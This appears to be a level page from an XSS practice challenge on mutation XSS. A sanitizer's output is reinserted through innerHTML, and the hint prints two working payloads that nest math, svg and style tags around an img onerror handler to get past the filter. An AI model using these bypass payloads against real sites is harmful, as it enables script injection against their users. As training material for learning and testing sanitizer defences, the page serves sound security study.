Level 6: Mutation XSS (mXSS)
A sanitizer strips
<script>, on*=, and javascript:. But the sanitized output goes through innerHTML which causes browser HTML parser mutations. Exploit it!Sanitizer Active
Sanitizes: <script>, on*=, javascript:. Output goes through innerHTML.
Show Hint
mXSS exploits browser parser quirks:
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert()> or try <svg><p><style><img src=x onerror=alert()>